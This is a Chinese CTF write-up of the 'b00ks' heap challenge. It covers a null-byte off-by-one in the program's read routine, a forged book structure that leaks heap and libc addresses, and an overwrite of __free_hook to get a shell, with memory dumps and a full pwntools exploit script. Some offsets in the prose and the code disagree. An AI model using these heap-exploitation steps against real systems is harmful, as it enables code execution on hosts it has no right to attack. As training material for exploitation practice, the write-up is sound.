题目介绍

题目是一个常见的菜单式程序,功能是一个图书管理系统。

1. Create a book2. Delete a book3. Edit a book4. Print book detail5. Change current author name6. Exit

题目提供了创建、删除、编辑、打印图书的功能。题目是64位程序,保护如下所示

Canary                        : NoNX                            : YesPIE                           : YesFortify                       : NoRelRO                         : Full

程序每创建一个 book 会分配 0x20 字节的结构来维护它的信息

struct book{    int id;    char *name;    char *description;    int size;}

create

book 结构中存在 name 和 description,name 和 description 在堆上分配。首先分配 name buffer,使用malloc。大小自定但小于 32.

printf("\nEnter book name size: ", *(_QWORD *)&size);__isoc99_scanf("%d", &size);printf("Enter book name (Max 32 chars): ", &size);ptr = malloc(size);

之后分配 description ,同样大小自定但无限制。

printf("\nEnter book description size: ", *(_QWORD *)&size);__isoc99_scanf("%d", &size);v5 = malloc(size);

之后分配 book 结构的内存

book = malloc(0x20uLL);if ( book ){    *((_DWORD *)book + 6) = size;    *((_QWORD *)off_202010 + v2) = book;    *((_QWORD *)book + 2) = description;    *((_QWORD *)book + 1) = name;    *(_DWORD *)book = ++unk_202024;    return 0LL;}

漏洞

程序编写的 read 函数存在 null byte off-by-one 漏洞,仔细观察这个 read 函数可以发现对于边界的考虑是不当的。

signed __int64 __fastcall my_read(_BYTE *ptr, int number){  int i; // [rsp+14h] [rbp-Ch]  _BYTE *buf; // [rsp+18h] [rbp-8h]  if ( number <= 0 )    return 0LL;  buf = ptr;  for ( i = 0; ; ++i )  {    if ( (unsigned int)read(0, buf, 1uLL) != 1 )      return 1LL;    if ( *buf == '\n' )      break;    ++buf;    if ( i == number )      break;  }  *buf = 0; --》 漏洞位置  return 0LL;}

利用

创建两个b00k, 在first b00k中伪造b00k进而控制second b00kdescription指针, 将该指针改为__free_hook, 修改second b00kdescriptionexecve("/bin/sh"), 最后free

泄露

因为程序中的 my_read 函数存在 null byte off-by-one ,事实上 my_read 读入的结束符 'x00' 是写入到 0x555555756060 的位置的。这样当 0x555555756060~0x555555756068 写入 book 指针时就会覆盖掉结束符 'x00' ,所以这里是存在一个地址泄漏的漏洞。通过打印 author name 就可以获得 pointer array 中第一项的值。

books 位置

        0x55865b7c9040:    0x4141414141414141    0x4141414141414141        0x55865b7c9050:    0x4141414141414141    0x4141414141414141 --> authorb00ks<--0x55865b7c9060:    0x000055865cc0d160(first book)    0x0000000000000000

null byte overflow

0x55865b7c9040:    0x4141414141414141    0x41414141414141410x55865b7c9050:    0x4141414141414141    0x41414141414141410x55865b7c9060:    0x000055865cc0d100(0x60-->0x00)    0x000055865cc0d190

1. 创建第一个firest book

0x55f276c74160:    0x0000000000000001                 0x000055f276c74020--> Name0x55f276c74170:    0x000055f276c740c0(description)    0x000000000000008c(140)

0x55f276c74160 --> 0x55f276c74100时, 0x55f276c74100正好落在first b00kdescription中, 属于可控范围, 为我们伪造b00k打下了基础.

2. leak book1 addr

my_read 读入的结束符 'x00' 会被写如 book1 时覆盖

所以 print author name 时 会泄露 book1 在 buf 的地址

3. 申请 book2

book2的description的大小越大越好(如0x21000),这样会通过mmap()函数去分配堆空间,而该堆地址与libc的基址相关,这样通过泄露该堆地址可以计算出libc的基址。

4. 伪造book

0x55f276c740c0:    0x4141414141414141    0x41414141414141410x55f276c740d0:    0x4141414141414141    0x41414141414141410x55f276c740e0:    0x4141414141414141    0x41414141414141410x55f276c740f0:    0x4141414141414141    0x41414141414141410x55f276c74100:    0x0000000000000001    0x000055f276c74198----0x55f276c74110:    0x000055f276c74198    0x000000000000ffff   |......                                                   |0x55f276c74160:    0x0000000000000001    0x000055f276c74020   |0x55f276c74170:    0x000055f276c740c0    0x000000000000008c   |0x55f276c74180:    0x0000000000000000    0x0000000000000031   |0x55f276c74190:    0x0000000000000002    0x00007f282b8e7010 <-|0x55f276c741a0:    0x00007f282b8c5010    0x00000000000210000x55f276c741b0:    0x0000000000000000    0x0000000000020e51

可以看到0x55f276c74100已经是fake b00k1

5. 空字节覆盖 leak book2 name pointer&libcbase

0x55f275d55040:    0x4141414141414141    0x41414141414141410x55f275d55050:    0x4141414141414141    0x41414141414141410x55f275d55060:    0x000055f276c74100    0x000055f276c74190

泄露的是second b00kname pointerdescription pointer.
这个指针和libc base address是有直接联系的.

0x000055f276c73000 0x000055f276c95000 rw-p    [heap]0x00007f282b33e000 0x00007f282b4fe000 r-xp    /lib/x86_64-linux-gnu/libc-2.23.so0x00007f282b4fe000 0x00007f282b6fe000 ---p    /lib/x86_64-linux-gnu/libc-2.23.so

offset = 0x7f282b8e7010 - 0x00007f282b33e000 = 0x5a9010
结论: 通过伪造的b00k, 我们泄露了 libc base address.

**6. 获取相关指针

主要是两个

malloc_hook = libc.symbols['__free_hook'] + libcbaseexecve_addr = libcbase + 0x4526a

结论: 通过libc base address, 退出了__free_hookexecve_addr在程序中的实际位置.

7. 修改 get shell

通过first b00k修改second b00kdescription指针为__free_hook, 在修改second b00k的description内容为execve("/bin/sh", null, environ), 最后执行free

0x55f276c74190:    0x0000000000000002    0x00007f282b7047a8 --0x55f276c741a0:    0x00007f282b7047a8    0x0000000000021000  |......                                                  |0x7f282b7047a8 <__free_hook>:  0x00007f306ff4726a    0x0000000000000000

结论: 由于__free_hook里面的内容不为NULL, 遂执行内容指向的指令, 即execve("/bin/sh", null, environ)

相关问题解答

为什么第二个 b00k申请的空间那么大?

If we allocate a chunk bigger than the wilderness chunk, it mmap’s a new area for use. And this area is adjacent to the libc’s bss segment
简单的说, 申请小了不能够泄露出libc base address

exp

from pwn import *#context.log_level = 'debug'elf = ELF("./b00ks")libc = ELF("/lib/x86_64-linux-gnu/libc.so.6")p = process("./b00ks")def create_name(name):    p.sendlineafter("Enter author name: ", name)def create_book(size,name,des_size,des):    p.sendlineafter("> ","1")    p.sendlineafter("\nEnter book name size: ",str(size))    p.sendlineafter("Enter book name (Max 32 chars): ",name)    p.sendlineafter("\nEnter book description size: ", str(des_size))    p.sendlineafter("Enter book description: ", des)def delete_book(id):    p.sendlineafter("> ", "2")    p.sendlineafter("Enter the book id you want to delete: ", str(id))def edit_book(id,new_des):    p.sendlineafter("> ","3")    p.sendlineafter("Enter the book id you want to edit: ", str(id))    p.sendlineafter("Enter new book description: ", new_des)def memleak2():    p.sendlineafter("> ","4")    p.recvuntil("Name: ")    msg=p.recvline().strip("\n")    msg=u64(msg.ljust(8, "\x00"))    log.success("Leaked address of second book name pointer : " + hex(msg))    return msgdef change_name(name):    p.sendlineafter("> ","5")    p.sendlineafter("Enter author name: ", name)def memleak1():    p.recvuntil("> ")    p.sendline("4")    p.recvuntil("Author:")    msg = p.recvuntil("\n",drop=True)[33:]    log.success("msg : "+msg)    addr = u64(msg.ljust(8, "\x00"))    log.success("Leaked address of first book : " + hex(addr))    return addrcreate_name("a"*32)create_book(140,"a",140,"a")#leak book addrfirst_addr = memleak1()second_addr = first_addr + 0x38log.success("second addr : " + hex(second_addr))#create second bookcreate_book(0x21000,"a",0x21000,"a")#fake first bookpayload = "a"*0x40 + p64(1) + p64(second_addr)*2 + p64(0xffff)edit_book(1,payload)#null byte off-by-onechange_name("a"*32)#leak second book pointersec_name_addr = memleak2()libcbase = sec_name_addr - 0x5b0010log.info("libcbase: %s" % hex(libcbase))free_hook = libc.symbols['__free_hook'] + libcbaselog.success("free_hook : " + hex(free_hook))execve_addr = libcbase + 0x45216log.success("execve : " + hex(execve_addr))#gdb.attach(p)# getshellsystem = libc.symbols['system'] + libcbasebinsh_addr = libc.search('/bin/sh').next() + libcbasepayload = p64(binsh_addr) + p64(free_hook)edit_book(1, payload)payload = p64(system)edit_book(2, payload)'''edit_book(1,p64(free_hook)*2)edit_book(2,p64(execve_addr))'''delete_book(2)p.interactive()